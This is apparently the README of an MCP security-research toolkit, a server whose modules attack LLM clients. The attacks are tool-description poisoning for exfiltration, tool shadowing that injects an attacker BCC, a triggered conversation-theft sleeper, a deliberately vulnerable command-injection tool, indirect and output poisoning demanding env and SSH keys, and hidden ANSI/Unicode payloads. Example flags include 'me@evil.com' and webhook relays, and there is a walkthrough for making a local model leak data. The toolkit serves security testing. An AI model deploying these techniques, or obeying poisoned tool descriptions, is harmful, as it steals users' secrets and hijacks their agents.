mcp-exploit-tools

📖 Docs site: https://crashoz.github.io/mcp-exploit-tools/ — the exploit write-ups, rendered.

A minimal, low-level MCP server with zero third-party dependencies (Python standard library only — no mcp SDK, no FastMCP, no web framework), organised as a small package of single-purpose modules.

It is the foundation for a toolkit aimed at security researchers testing exploits against MCP servers and the clients/hosts that connect to them. Because there is no SDK between you and the wire, every JSON-RPC message is under your direct control and any layer can be mutated to craft adversarial / non-spec-compliant behaviour.

• Protocol: MCP 2025-11-25 (current stable revision).
• Transports: stdio and Streamable HTTP.
• Primitives: tools, resources, prompts.
• Requirements: Python 3.10+. No installation, no pip.

Quickstart

# stdio transport (the default) — what local MCP clients launch:
python3 server.py            # or: python3 -m mcpserver

# List the available exploit modules:
python3 server.py --list-exploits

# Streamable HTTP transport:
python3 server.py --transport http --host 127.0.0.1 --port 8000

# Add --trace to any of the above to log every raw message to stderr.
python3 server.py --trace

CLI

| Flag | Default | Meaning | | --- | --- | --- | | --transport {stdio,http} | stdio | Which transport to serve. | | --host | 127.0.0.1 | HTTP bind host. Anything non-local prints a warning. | | --port | 8000 | HTTP bind port. | | --path | /mcp | HTTP endpoint path. | | --trace | off | Log every inbound (>>) / outbound (<<) raw message to stderr. | | --insecure | off | HTTP: disable Origin + session checks (the vulnerable config). | | --strict | off | Enforce lifecycle: reject requests issued before initialization. | | --list-exploits | — | List the available exploit modules (slug, name, tools) and exit. | | --enable A,B | data-exfil | Enable these exploit modules by slug, or all for every module. | | --disable A,B | none | Disable these exploit modules, by slug. | | --no-demo | off | Don't register the benign demo tools/resources/prompts. | | --loot-file PATH | ./loot/exfiltrated.jsonl | Where captured data is written (overrides MCP_EXFIL_LOOT). | | --webhook URL | off | Also POST each captured payload here (overrides MCP_EXFIL_WEBHOOK). | | --shadow-bcc ADDR | security-archive@… | tool-shadowing: attacker BCC injected into emails. | | --shadow-target-tool NAME | send_email | tool-shadowing: the trusted email tool to hijack. | | --cht-triggers P1,P2 | thank you,… | conversation-theft: phrases that fire the exfil. | | --cmdi-live | off (dry-run) | command-injection: actually execute the built command (real RCE; lab/VM only). | | --ii-collector HOST | telemetry-collector.example | indirect-injection: attacker exfil host the hidden beacon targets. | | --atpa-demand TEXT | env + ~/.ssh/id_rsa | output-poisoning: what the fake error/result coerces the model to hand over. | | --ansi-method {overwrite,color,conceal} | overwrite | ansi-deception: how the description hides its payload from the terminal. | | --unicode-method {tag,zero-width,bidi} | tag | unicode-concealment: how the description hides its payload in invisible Unicode. |

Security knobs (the testable surface)

The Streamable HTTP transport (mcpserver/streamable_http.py) implements the checks the spec calls for, each visible in the source and toggleable so you can compare secure vs. vulnerable behaviour:

• Origin validation (DNS-rebinding guard): a request carrying a non-localhost Origin header is rejected with 403. Disable with --insecure.
• Session enforcement: initialize mints an Mcp-Session-Id; any other request with a missing/unknown session id is rejected with 404. Disable with --insecure.
• Bind address: defaults to 127.0.0.1; --host 0.0.0.0 is allowed but warns.
• Lifecycle ordering: --strict rejects non-initialize/ping requests before the notifications/initialized handshake (lenient by default, so it can be exercised).

Exploits

Adversarial modules live in mcpserver/exploits/, catalogued in mcpserver/exploits/init.py. Each is documented under docs/exploits/.

| Slug | Exploit | Tool(s) | Write-up | | --- | --- | --- | --- | | data-exfil | Data exfiltration via tool-description poisoning (TPA) | context_sync | docs/exploits/data-exfiltration.md | | tool-shadowing | Tool shadowing / cross-server hijack | add_numbers + send_email | docs/exploits/tool-shadowing.md | | conversation-theft | Conversation-history theft (triggered sleeper) | log_feedback | docs/exploits/conversation-history-theft.md | | command-injection | Command injection (deliberately vulnerable tool) | net_diagnostic | docs/exploits/command-injection.md | | full-schema-poisoning | Line jumping / full-schema poisoning (FSP) | summarize_text | docs/exploits/full-schema-poisoning.md | | indirect-injection | Indirect prompt injection (external-content trigger) | fetch_url | docs/exploits/indirect-injection.md | | output-poisoning | Universal output poisoning (ATPA) | get_weather | docs/exploits/output-poisoning.md | | ansi-deception | ANSI escape-code deception | system_check | docs/exploits/ansi-deception.md | | unicode-concealment | Invisible Unicode concealment (zero-width / bidi / tag chars) | health_report | docs/exploits/unicode-concealment.md |

By default only data-exfil is enabled — its context_sync tool shows up in tools/list next to the demo tools. Enable the others (or all of them) and tune them from the CLI:

python3 server.py --list-exploits                              # see slugs, names, tools
python3 server.py                                              # default: only data-exfil (context_sync)
python3 server.py --enable all                                 # every exploit module
python3 server.py --enable tool-shadowing,command-injection    # just these two
python3 server.py --enable all --disable command-injection     # all but command-injection
python3 server.py --enable tool-shadowing --shadow-bcc me@evil.com --webhook http://127.0.0.1:9000/   # enable + tune + relay

The exfil sink writes captured data to loot/exfiltrated.jsonl by default (--loot-file / MCP_EXFIL_LOOT to change); --webhook / MCP_EXFIL_WEBHOOK also POSTs it to a URL (off by default — no network otherwise). To catch those POSTs locally, run the bundled stdlib collector — python3 webhook_collector.py — and point --webhook at it.

The full exploit backlog — grouped by type and scored (severity/impact/occurrence/difficulty) — lives in PROGRESS.md.

Run it against a LLM

You don't have to hand-write JSON-RPC to see an exploit land — point a real local model at the malicious server and watch it fire end-to-end. The full local-LLM walkthrough uses Ollama + ollmcp with a tiny, CPU-friendly model — no API keys, no GPU. The short version:

ollama pull qwen2.5:1.5b                                   # ~1 GB model, runs on CPU
pip install -r requirements-demo.txt                       # the ollmcp MCP host
ollmcp --servers-json mcp-host.json --model qwen2.5:1.5b   # run from the repo root

ollmcp launches python3 server.py over stdio, calls tools/list, and hands the schemas to the model — at which point the poisoned description is sitting inside the model's context. Ask any ordinary question: the model calls the exfil tool on its own (ollmcp shows an approval prompt by default, so you can watch the leak get offered before it happens). Inspect loot/exfiltrated.jsonl — or a --webhook endpoint — to confirm what left the room. The smaller the model, the more readily it obeys; that's the finding.

What fires — data-exfil (context_sync)

The default flow, straight from data_exfiltration.py:

flowchart TD
    SERVER["malicious MCP server · server.py<br/>advertises context_sync — its description<br/>secretly orders the model to forward everything"]
    SERVER -->|"tools/list — the ollmcp host hands<br/>the tool schemas to the model"| MODEL["local model · qwen2.5:1.5b<br/>reads the description as instructions;<br/>cannot separate trusted text from attacker text"]
    MODEL -->|"tools/call context_sync<br/>{ conversation, secrets, … }"| SINK["handler · sink.capture(…)<br/>→ loot/exfiltrated.jsonl (+ optional webhook POST)<br/>returns: Session registered … Sync complete."]
    SINK --> REPLY["model answers the user normally —<br/>nothing on screen reveals the leak"]

    classDef danger fill:#cc241d,stroke:#fb4934,color:#fbf1c7
    classDef benign fill:#98971a,stroke:#b8bb26,color:#fbf1c7
    classDef model fill:#458588,stroke:#83a598,color:#fbf1c7
    class SERVER danger
    class SINK danger
    class MODEL model
    class REPLY benign

Full mechanism, why it works, and defenses: docs/exploits/data-exfiltration.md.

Project layout

mcp-exploit-tools/
  server.py                  # thin entry shim → mcpserver.cli:main
  webhook_collector.py       # stdlib collector for --webhook exfil POSTs (optional)
  mcpserver/
    __init__.py              # public API: MCPServer, tool, resource, prompt, ...
    __main__.py              # enables `python3 -m mcpserver`
    constants.py             # protocol version, server info, JSON-RPC error codes
    tracing.py               # stderr logging + raw `>>`/`<<` message tracing
    registry.py              # TOOLS/RESOURCES/PROMPTS + @tool/@resource/@prompt
    protocol.py              # JsonRpcError + MCPServer (lifecycle, dispatch)
    stdio.py                 # stdio transport
    streamable_http.py       # Streamable HTTP transport + security checks
    demo.py                  # benign example tools/resources/prompts (+ exploit marker)
    cli.py                   # argparse + main()
    exploits/                # adversarial modules — one per exploit
      __init__.py            # CATALOG + --enable/--disable selection
      sink.py                # shared capture sink (loot file + optional webhook)
      data_exfiltration.py   # … one module per exploit (see the Exploits table)
  docs/                      # MkDocs site — one write-up per exploit
  PROGRESS.md                # scored exploit roadmap / backlog
  CONTRIBUTING.md            # how to contribute + add an exploit module
  LICENSE.md                 # MIT
  README.md

Extending it (building exploit modules)

Two seams:

1. Registries — register tools/resources/prompts with the @tool, @resource, @prompt decorators from mcpserver/registry.py. Benign examples in mcpserver/demo.py register on import. An exploit module instead exposes SLUG / NAME / TOOLS, a register(args) that registers its tools, and an optional add_arguments(parser) for fine-tuning flags — then is added to CATALOG in mcpserver/exploits/init.py so --enable/--disable and --list-exploits pick it up (copy data_exfiltration.py as a template). Tool handlers may return a full CallToolResult dict, so you have complete control over advertis